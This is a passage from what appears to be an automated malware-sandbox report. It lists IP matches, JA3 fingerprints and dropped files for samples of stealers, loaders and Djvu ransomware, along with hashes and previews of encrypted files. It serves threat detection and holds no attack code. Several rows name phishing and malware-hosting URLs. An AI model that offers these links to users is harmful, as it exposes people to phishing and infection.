	file.exe	Get hash	malicious	Glupteba, Petite Virus, RedLine, SmokeLoader, Socks5Systemz	Browse	196.188.169.138
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	196.188.169.138
	file.exe	Get hash	malicious	Glupteba, RedLine, SmokeLoader	Browse	196.188.169.138
	file.exe	Get hash	malicious	Glupteba, Petite Virus, SmokeLoader, Socks5Systemz	Browse	196.188.169.138
	file.exe	Get hash	malicious	SmokeLoader	Browse	196.188.169.138
	file.exe	Get hash	malicious	SmokeLoader	Browse	196.188.169.138
	file.exe	Get hash	malicious	RedLine, SmokeLoader, Stealc, Vidar	Browse	196.188.169.138
	Ma0hVedIX4.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	196.188.169.138
	file.exe	Get hash	malicious	SmokeLoader	Browse	196.188.169.138
	yb3qRei37T.exe	Get hash	malicious	Amadey	Browse	196.188.169.138
CLOUDFLARENETUS	1EdVSOmvh0.exe	Get hash	malicious	Dicrord Rat	Browse	162.159.136.234
	YEM2yTzOK9.exe	Get hash	malicious	Dicrord Rat	Browse	162.159.133.234
	https://www.hedegaardsauto.dk/	Get hash	malicious	Unknown	Browse	104.21.65.196
	1EdVSOmvh0.exe	Get hash	malicious	Dicrord Rat	Browse	162.159.134.234
	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	YEM2yTzOK9.exe	Get hash	malicious	Dicrord Rat	Browse	162.159.136.234
	https://url7923.marsello.io/ls/click?upn=Xn88PJeNIL29Y2OVpP6Ui-2By3rYIZtiURlGb7cH2JSiM-3DV7CO_LVcTQob8ek-2FwkmhbM9rsNXjWPIVnmISQUGdwlgvvzvyRjKmtmuo4Rymg2fxyXe-2BlTUhbK-2FBV47cOAcmE02mwni65ZwKfiCT5zWs1coWSkSH9-2BmISkQqkJ9Hl7szOf7eEUXDq9E7iQP5gtTB-2FbWPP1-2F7RxHUxog88669ioTxIVWMn9RycfG2l2F95pBlOfbUsllERm9F7SSG0YY6bWylAdWnu6bbeh3eBPsb2k0VprxBjfiTnRT1rqMe-2ByXpjr9FrVIFlDGvkMpVgDXCp-2B5eIhpKreZSeW1lT6XJVtPF9pUoSXpandIvr8Z2tOFMi2uLy#ecGF1bGF5bGllZmZAcXVhbnRleGEuY29t	Get hash	malicious	Unknown	Browse	104.21.28.114
	GgGbyyAp86.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	http://birn.eu.com	Get hash	malicious	Unknown	Browse	104.22.50.98
	TETdncOwA1.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	http://sanremobike.it/zeb.php	Get hash	malicious	Unknown	Browse	172.67.212.133
	http://agoda.onelink.me/1640755593?pid=Email&c=inquiry_booking&af_dp=agoda%3A%2F%2Fhotel%2FAgoda%2520ABS%2520Dummy%2F2544216%26temp%3D0&adults=2&children=0&rooms=1&checkIn=2022-02-17&checkOut=2022-02-20&los=3&cid=1772772&af_force_dp=true&af_r=//noblecollege.in/united.com/KKyNqSVh1Y/cGF1bC5oYXR0b25AbWFnYWlycG9ydHMuY29t	Get hash	malicious	HTMLPhisher	Browse	104.21.60.35
	https://sites.google.com/view/1o9krr/	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://cloudflare-ipfs.com/ipfs/bafybeieieblrgpllveqjsl6qgrlkwvipx4plc2w3k4rqefvy42jcukklcm/001gt.html&design=DAF5S0S-f7I&accessRole=viewer&amp	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://cloudflare-ipfs.com/ipfs/bafybeieieblrgpllveqjsl6qgrlkwvipx4plc2w3k4rqefvy42jcukklcm/001gt.html&design=DAF5S0S-f7I&accessRole=viewer&amp	Get hash	malicious	Unknown	Browse	104.17.64.14
	ContractDocumentationD35.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://satassociates.co	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	http://evelange.com	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.17.2.184
	http://soft.specialcraftbox.com/JZFYbC	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://ecv.microsoft.com/kypLiWBZ0J	Get hash	malicious	Unknown	Browse	104.17.2.184
HETZNER-ASDE	SecuriteInfo.com.Trojan.MSIL.Crypt.28603.20478.exe	Get hash	malicious	Vidar, zgRAT	Browse	49.12.114.15
	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	49.12.114.15
	UviATPIUxo.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.98.218
	smqx8KR4No.exe	Get hash	malicious	BazaLoader	Browse	46.4.103.29
	BVVXU2mLIX.exe	Get hash	malicious	Predator	Browse	176.9.18.178
	l3fh0T2H1h.exe	Get hash	malicious	BazaLoader, SmokeLoader	Browse	148.251.237.219
	RKyTx010jW.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	49.12.114.15
	https://see-eim.pages.dev/login_files/loga	Get hash	malicious	HTMLPhisher	Browse	5.161.124.197
	ZMuJrxk7ff.elf	Get hash	malicious	Unknown	Browse	144.79.42.104
	vV99wd5vMp.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	49.12.114.15
	xPqfO9S4OX.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.98.218
	sjvRXEMjOO.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.98.218
	qMlKw3MWWP.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.98.218
	sbvN2ih5AU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	49.12.114.15
	http://affluentretinueelegance.com/	Get hash	malicious	Unknown	Browse	5.161.204.250
	6K1uYM85lS.exe	Get hash	malicious	Phorpiex	Browse	95.217.42.50
	YmDAnj65iC.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	176.9.47.240
	L8d0sq42Mq.exe	Get hash	malicious	Petite Virus, Socks5Systemz	Browse	95.216.98.218
	https://click.e.berlitz.com/?qs=383d62fb0b169d710affe936c6b84e3f27c28ce0c141f027fe93d1d83576e1ed447c1afdd57147231008fc94712a812b2d436714d50c1a711d6055253ab8faff	Get hash	malicious	Unknown	Browse	5.161.17.239
	https://click.e.berlitz.com/?qs=0e6b3a6ce0a34eb7973094c721dae2442940118341f6513204a5ddb76446816b05daee995a6f52579e9836b91afc4782fe5b268da8179778309b226517d36e97	Get hash	malicious	Unknown	Browse	5.161.17.239

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	SecuriteInfo.com.Trojan.MSIL.Crypt.28603.20478.exe	Get hash	malicious	Vidar, zgRAT	Browse	149.154.167.99 172.67.139.220
	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99 172.67.139.220
	jcI5FpXDUM.exe	Get hash	malicious	Babuk, Djvu	Browse	149.154.167.99 172.67.139.220
	Fl8SpyW6nf.exe	Get hash	malicious	Babuk, Djvu	Browse	149.154.167.99 172.67.139.220
	749751554253107285737.lnk	Get hash	malicious	Unknown	Browse	149.154.167.99 172.67.139.220
	S_NFe8959263.lnk	Get hash	malicious	Unknown	Browse	149.154.167.99 172.67.139.220
	RKyTx010jW.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99 172.67.139.220
	LwQAIksp2s.exe	Get hash	malicious	Babuk, Djvu	Browse	149.154.167.99 172.67.139.220
	vV99wd5vMp.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99 172.67.139.220
	sbvN2ih5AU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	149.154.167.99 172.67.139.220
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	149.154.167.99 172.67.139.220
	OFERTA_2024.js	Get hash	malicious	DarkCloud	Browse	149.154.167.99 172.67.139.220
	Order_Karakoy_mall.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.99 172.67.139.220
	aPgBgT8dcX.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99 172.67.139.220
	PsZm8duC8y.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99 172.67.139.220
	nPWywjpYia.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99 172.67.139.220
	bank_swift_IBX20240110009138652.vbe	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.99 172.67.139.220
	Pedido_de_cota#U00e7#U00e3o_-Lista_de_materiais.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	149.154.167.99 172.67.139.220
	DHL_AWB_50_No3354087_pdf.exe	Get hash	malicious	GuLoader	Browse	149.154.167.99 172.67.139.220
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, SmokeLoader, Vidar, zgRAT	Browse	149.154.167.99 172.67.139.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\build2[1].exe	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	sbvN2ih5AU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\sqlite3[1].dll	SecuriteInfo.com.Trojan.MSIL.Crypt.28603.20478.exe	Get hash	malicious	Vidar, zgRAT	Browse
	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	RKyTx010jW.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	vV99wd5vMp.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	sbvN2ih5AU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, SmokeLoader, Vidar, zgRAT	Browse
	kOVwcHSfrR.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Eternity Stealer, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Vidar, zgRAT	Browse
	PbQI1np5cI.exe	Get hash	malicious	Vidar	Browse
	CinaQ61J8d.exe	Get hash	malicious	Vidar	Browse
	H88B1esQF0.exe	Get hash	malicious	Vidar	Browse
	n8JqyJSXnE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, Petite Virus, SmokeLoader, Socks5Systemz, Stealc	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
	buildz.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	OIpWHA8mdz.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse
	XrNOw4sxMG.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, SmokeLoader, Vidar	Browse
	n1ppfW1lhW.exe	Get hash	malicious	Vidar	Browse
	7yCti1JQXn.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	EdRzQIfoXb.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, PureLog Stealer, RedLine, SmokeLoader	Browse
	Setup.exe	Get hash	malicious	Vidar	Browse
C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe	E0tabE4K4r.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	sbvN2ih5AU.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKEGIIJD

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	modified
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIJKJJKEBGHJKFIDGCA

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBFHCGCG

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHJKKECF

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHJKKECFIECAKECAFBGCAFHDHJ

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HDBGDHDAECBGDHJKFIDG

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIDHJDGCGDAAKEBGDBKFIIIIEC

Download File

Process:	C:\Users\user\AppData\Local\6349bf8a-c410-46a9-940b-4dd70005cfd7\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.646838024729744
Encrypted:	false
SSDEEP:	12:k5PXXA/3mX9Y1HYoBpQghDBLaR5ecPu7m6ok1rwFx28JfXw1e4qLpSUdNcii9a:Iw/2X9YZJVhDsneb5wn28RaqQ2bD
MD5:	BEA9B0FD6FA80664B37466CFAB4024E8
SHA1:	3FEFD39A612DCC71F0BB971061A39206CAA6B03E
SHA-256:	F9E9DA4E8DA8022B073818A185E10EC69142B530DE5CB9B1B364C53932370DEF
SHA-512:	21103C3AE76C54CDA0EE79B867532BB5B643E7D69F11ECFB492BB37470D52FF46167B1DFE74930E1EEB808E75D21F3FC1596EF43C82E0381155B796EBAB629FC
Malicious:	false
Preview:	2023/..B..k....Ivz......<..{YQ.k...yz\UI.FBO..]8....rG..B....%...`h)..$3 .)s.....@i9wo..6E...z.j..sov....4..V.\#e.V...hO...l...s........:u7.I..@.(Q.oTD.-..3.....a.f.0.b...S-...h..A}.0!-..n..t.GO..a....{...kY.J.a..`.5.K"......MAI....J..y...?.z......w84F.p..?....X.FZ...A8v\.M........s}....0V`....G.....;.c"......H..g........v.......'..)..=.]..7.a`R.H.:...P..m.K.B.....=n+.d....a..hlhd....&.~......A~cutd.y.\..~./&.1_....8x$.p... !.......~Y..\|@.......l4V......~Qr.*...".V.$......f'A0B...@'bE....?...9.!....4.....DuQ...!F.)r...7.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	629
Entropy (8bit):	7.646838024729744
Encrypted:	false
SSDEEP:	12:k5PXXA/3mX9Y1HYoBpQghDBLaR5ecPu7m6ok1rwFx28JfXw1e4qLpSUdNcii9a:Iw/2X9YZJVhDsneb5wn28RaqQ2bD
MD5:	BEA9B0FD6FA80664B37466CFAB4024E8
SHA1:	3FEFD39A612DCC71F0BB971061A39206CAA6B03E
SHA-256:	F9E9DA4E8DA8022B073818A185E10EC69142B530DE5CB9B1B364C53932370DEF
SHA-512:	21103C3AE76C54CDA0EE79B867532BB5B643E7D69F11ECFB492BB37470D52FF46167B1DFE74930E1EEB808E75D21F3FC1596EF43C82E0381155B796EBAB629FC
Malicious:	false
Preview:	2023/..B..k....Ivz......<..{YQ.k...yz\UI.FBO..]8....rG..B....%...`h)..$3 .)s.....@i9wo..6E...z.j..sov....4..V.\#e.V...hO...l...s........:u7.I..@.(Q.oTD.-..3.....a.f.0.b...S-...h..A}.0!-..n..t.GO..a....{...kY.J.a..`.5.K"......MAI....J..y...?.z......w84F.p..?....X.FZ...A8v\.M........s}....0V`....G.....;.c"......H..g........v.......'..)..=.]..7.a`R.H.:...P..m.K.B.....=n+.d....a..hlhd....&.~......A~cutd.y.\..~./&.1_....8x$.p... !.......~Y..\|@.......l4V......~Qr.*...".V.$......f'A0B...@'bE....?...9.!....4.....DuQ...!F.)r...7.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6293810609293145
Encrypted:	false
SSDEEP:	12:kF+1naDuNGC04fwD3TbvYz/ZqvlhN7LbNEZiYv+uSPzADHa8oTWSUdNcii9a:v9J0gwzTbvYebKZr+df8oTV2bD
MD5:	AAF82DC834A96D594F906098653AEB62
SHA1:	0F0CCE06C7F466FFFC5F4FEDA1E3374A07D4FD64
SHA-256:	527358DC6343C42979BBC4ED01B1464F323E1B82D16DB09491B233F0B258BA7F
SHA-512:	DB19A710917E65EF44BDBA6300567EBB2ED0F3559F87AD202CDF1348F4A446A8E9C4C62ACF7613D0FF98CA41DE7B12BECF705E370014946F28F04DB199848E0A
Malicious:	false
Preview:	2023/.4.7.N........'...v.VP_...UC..p.3..`-........r.0A.P.....D.M4....^....Q......=.?.7..e(...S.R[...u.Y..l..,...GJd#9B a.D]u...J..n....K."b.....#x...7......!.......a.K....o.A.A....'d.....3.C....}Cd.W.1\|.B/BQ..%....?...3.v..!k....e..79B.&.. .\....J@.`\...c......Z...C7#$.....6UK..BNs.K.G:.D].@'...t;...g.\.l.?.\|.&8.H...#...rB18L.C....I\|..K&S..?o....R:..P..a......o/m)...~...zH.!j#D....aVO.K4.....p...d..z..s..&...Lh.H.....8..,..).r.....0.V5(.c..[.....%..c.\^.M.Fda..R#....q....=......v......c.K._.r.w....]..H...dF.&.\..n...N..~:yR.n.9O..).b..g{.".*.1VB.......l.VmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6293810609293145
Encrypted:	false
SSDEEP:	12:kF+1naDuNGC04fwD3TbvYz/ZqvlhN7LbNEZiYv+uSPzADHa8oTWSUdNcii9a:v9J0gwzTbvYebKZr+df8oTV2bD
MD5:	AAF82DC834A96D594F906098653AEB62
SHA1:	0F0CCE06C7F466FFFC5F4FEDA1E3374A07D4FD64
SHA-256:	527358DC6343C42979BBC4ED01B1464F323E1B82D16DB09491B233F0B258BA7F
SHA-512:	DB19A710917E65EF44BDBA6300567EBB2ED0F3559F87AD202CDF1348F4A446A8E9C4C62ACF7613D0FF98CA41DE7B12BECF705E370014946F28F04DB199848E0A
Malicious:	false
Preview:	2023/.4.7.N........'...v.VP_...UC..p.3..`-........r.0A.P.....D.M4....^....Q......=.?.7..e(...S.R[...u.Y..l..,...GJd#9B a.D]u...J..n....K."b.....#x...7......!.......a.K....o.A.A....'d.....3.C....}Cd.W.1\|.B/BQ..%....?...3.v..!k....e..79B.&.. .\....J@.`\...c......Z...C7#$.....6UK..BNs.K.G:.D].@'...t;...g.\.l.?.\|.&8.H...#...rB18L.C....I\|..K&S..?o....R:..P..a......o/m)...~...zH.!j#D....aVO.K4.....p...d..z..s..&...Lh.H.....8..,..).r.....0.V5(.c..[.....%..c.\^.M.Fda..R#....q....=......v......c.K._.r.w....]..H...dF.&.\..n...N..~:yR.n.9O..).b..g{.".*.1VB.......l.VmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.764668860779693
Encrypted:	false
SSDEEP:	24:YKW4NqR8wK/ljg3AJuLoOxmNDB4Osh6CFHxH9wpBkoT2bD:Y3R8K3AMoOxmN14OQ6C5xdwpBuD
MD5:	FC90594FEB0D3C5D0B74148973096C49
SHA1:	EEC532CFFDB679E286F2FD289E058C2C96099123
SHA-256:	00ED6B0A33375874CBCB1A1F7725D98C657C7829592515B403890E4804455762
SHA-512:	05FDE5EBD8F700B9667F487E901A3D917C94BB197397A683C5ED7BD21C495CE8A3C8A725B947A323BDE52427DCA26B07B964422A57212E7BF24F66B176B21818
Malicious:	false
Preview:	{"os_Ru.pf.U+..h.[.sZMO..1...Z\.V.m....\|A4x%...xd...)..h......qa....Jo...../..'......\G..{.N.=...-..+..3.I.....iG....'..$...Hg^q.Q...9...\|L.Ei.y+..jv$....<..`..\......,....(...0....f.b.......,.....)o.......).5..#.R....e...[{.....@.?............]........]..cE.iU..1........i.O%.ns}~!....:6.n......S....#.e...=\|.A. X.N....[..b...j....0.....4.rj..lI.p.&.k./7R1. ru....O....[.[.K.....-...bU....z..k_.....6n4.n...g.Y.{.........U.W4T...raR.e;..E.@......`.b.....9gn..g\!....(....7.....G...5...!..P.9......5..C....5.....n4....7_.?.MS.;....b..X.T.Eix.K.....:A..:.J.....0.f.45.9.{.z.,.Gc.....QP..SP.lK..d=.k...6....ur.......b........MX...V......S.A...{.l..../.Xs.I.I..t-B~...Q..}......;.[Am..d.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LocalPrefs.json.cdqw (copy)

Download File

Process:	C:\Users\user\AppData\Local\80bf39e1-a21a-4a91-b607-996b8b0440e3\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	818
Entropy (8bit):	7.764668860779693
Encrypted:	false
SSDEEP:	24:YKW4NqR8wK/ljg3AJuLoOxmNDB4Osh6CFHxH9wpBkoT2bD:Y3R8K3AMoOxmN14OQ6C5xdwpBuD
MD5:	FC90594FEB0D3C5D0B74148973096C49
SHA1:	EEC532CFFDB679E286F2FD289E058C2C96099123
SHA-256:	00ED6B0A33375874CBCB1A1F7725D98C657C7829592515B403890E4804455762
